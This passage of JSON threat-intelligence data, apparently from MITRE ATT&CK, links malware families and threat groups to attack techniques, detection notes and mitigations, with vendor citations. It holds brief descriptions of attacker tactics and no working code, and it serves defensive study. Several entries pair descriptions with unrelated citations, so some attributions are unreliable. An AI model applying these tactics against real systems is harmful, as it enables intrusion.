"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-09T18:49:56.501Z", "description": "[Javali](https://attack.mitre.org/software/S0528) has achieved execution through victims opening malicious attachments, including MSI files with embedded VBScript.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd63c221-6dc1-4b88-ab82-8f64493cbacd", "type": "relationship", "created": "2020-03-25T13:58:19.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-03-25T13:58:19.146Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.[TYPEFRAME](https://attack.mitre.org/software/S0263) can also delete services from the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd68ff0c-88c9-4a71-82ff-f16da53ed8ed", "type": "relationship", "created": "2020-11-19T17:07:09.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T18:02:58.692Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has enumerated processes by ID, name, or privileges.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd69ba48-b716-4278-b1a0-2efd3bd2d4de", "type": "relationship", "created": "2019-04-10T16:09:07.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Elfin Mar 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}, {"source_name": "Microsoft Holmium June 2020", "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}], "modified": "2020-06-22T20:15:32.389Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has utilized PowerShell to download files from the C2 server and run various scripts. (Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cd6b15c6-65d0-4791-9cf5-bff9066f1060", "created": "2022-04-18T18:58:06.824Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>). Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised  [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "modified": "2022-04-20T01:39:16.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cd6d8071-bcca-45ee-a477-3547d23d7758", "created": "2021-12-27T19:19:42.880Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use `cmd.exe` to execute malicious code.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T16:29:12.087Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CopyKittens Nov 2015", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}], "modified": "2020-03-16T17:11:22.807Z", "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)", "relationship_type": "uses", "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cd78a407-3770-4806-8b06-13b7f7ccc2cf", "created": "2022-04-10T23:45:23.242Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can load drivers by creating a new service using the `CreateServiceW` API.(Citation: Crowdstrike DriveSlayer February 2022)", "modified": "2022-04-10T23:46:57.918Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd79adbd-3d52-4f26-aea4-cbbbc3d6aa66", "type": "relationship", "created": "2021-02-17T19:22:30.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Conti Jan 2021", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-04-27T02:50:43.653Z", "description": "[Conti](https://attack.mitre.org/software/S0575) has loaded an encrypted DLL into memory and then executes it.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c", "type": "relationship", "created": "2017-05-31T21:33:27.046Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). 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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used an information gathering module that will hide an AV software window from the victim.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T16:04:54.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ce0e6abe-ebdb-45f4-a403-261587e0fa0f", "type": "relationship", "created": "2021-10-07T21:28:23.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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Retrieved September 14, 2021."}], "modified": "2021-09-14T20:47:33.493Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can execute itself as a service.(Citation: NCC Group WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ceaf4145-f168-4bba-8480-d3650bcc657f", "type": "relationship", "created": "2020-08-13T17:22:45.929Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks MCMD July 2019", "url": "https://www.secureworks.com/research/mcmd-malware-analysis", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. 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Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) chooses its payload creation path from a randomly selected service name from netsvc.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-17T19:13:40.156Z", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cebe7625-3bb7-4353-9b48-cd4251410968", "type": "relationship", "created": "2020-05-06T21:31:07.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.578Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) has used a custom implementation of AES encryption to encrypt collected data.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cebec7e0-7be7-4bcf-936f-bd7622d559c7", "type": "relationship", "created": "2021-07-16T17:57:25.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Eli Salem GuLoader April 2021", "url": "https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4", "description": "Salem, E. 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Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has used `rundll32.exe` to execute [Koadic](https://attack.mitre.org/software/S0250) stagers.(Citation: MalwareBytes LazyScripter Feb 2021) ", "modified": "2022-04-06T18:15:39.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cedfb953-2088-4e8d-a21b-57fdfce65337", "type": "relationship", "created": "2021-01-05T22:42:06.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. 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Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "modified": "2022-04-19T21:34:57.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ceebecd3-5cab-40fd-8020-f5cb06f3ccd7", "type": "relationship", "created": "2020-11-13T20:44:05.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. 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Retrieved October 27, 2022.", "url": "https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T22:30:40.916Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has searched file contents on a compromised host.(Citation: Rapid7 HAFNIUM Mar 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf29f1f0-867f-4e08-9442-d10f75ec7702", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T17:13:43.076Z", "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf2df7c3-3efe-49d9-9c49-e35978d784c4", "type": "relationship", "created": "2021-08-25T21:30:06.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Feb 2021", "url": "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", "description": "M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos \u2013 A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}, {"source_name": "ESET Kobalos Jan 2021", "description": "M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. 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If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", "modified": "2022-04-19T14:06:54.004Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf32330f-0d67-4e10-adae-2fe3157f6888", "type": "relationship", "created": "2021-01-06T16:56:56.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Analyzing Solorigate Dec 2020", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}, {"source_name": "FireEye SUNBURST Additional Details Dec 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."}], "modified": "2021-01-14T16:44:20.305Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) checked for a variety of antivirus/endpoint detection agents prior to execution.(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: FireEye SUNBURST Additional Details Dec 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf32eab2-753c-4303-9667-54bc8c987a13", "created": "2023-12-04T20:06:41.948Z", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-04T20:06:41.948Z", "description": "(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf36992b-49c7-4a4c-8fd0-30e23cd8d7b8", "type": "relationship", "created": "2020-01-14T01:29:43.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T01:29:43.874Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf36b530-36fa-40f5-b11c-94b5f5cfaf76", "type": "relationship", "created": "2021-06-11T17:02:07.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. 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Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-28T17:58:55.757Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has compressed the dump output of compromised credentials with a 7zip binary.(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cf467be5-c162-4763-801b-32cb57a514ef", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.861Z", "description": "(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf485f42-cc2f-4ef7-9226-533192a9413c", "type": "relationship", "created": "2019-06-25T15:34:24.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6", "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", "source_name": "Microsoft Disable Macros"}], "modified": "2022-01-12T18:16:56.801Z", "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf48cb46-cdff-440c-96bb-a7a8368306ca", "type": "relationship", "created": "2020-03-15T15:30:42.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc700828.aspx", "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", "source_name": "TechNet Firewall Design"}], "modified": "2020-05-14T13:05:39.790Z", "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cf498579-a7c9-4d06-949b-fb75bf762990", "type": "relationship", "created": "2019-03-26T13:38:24.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", "url": "https://www.secureworks.com/research/wcry-ransomware-analysis", "source_name": "SecureWorks WannaCry Analysis"}], "modified": "2019-04-22T11:43:33.510Z", "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic.(Citation: SecureWorks WannaCry Analysis)", "relationship_type": "uses", "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 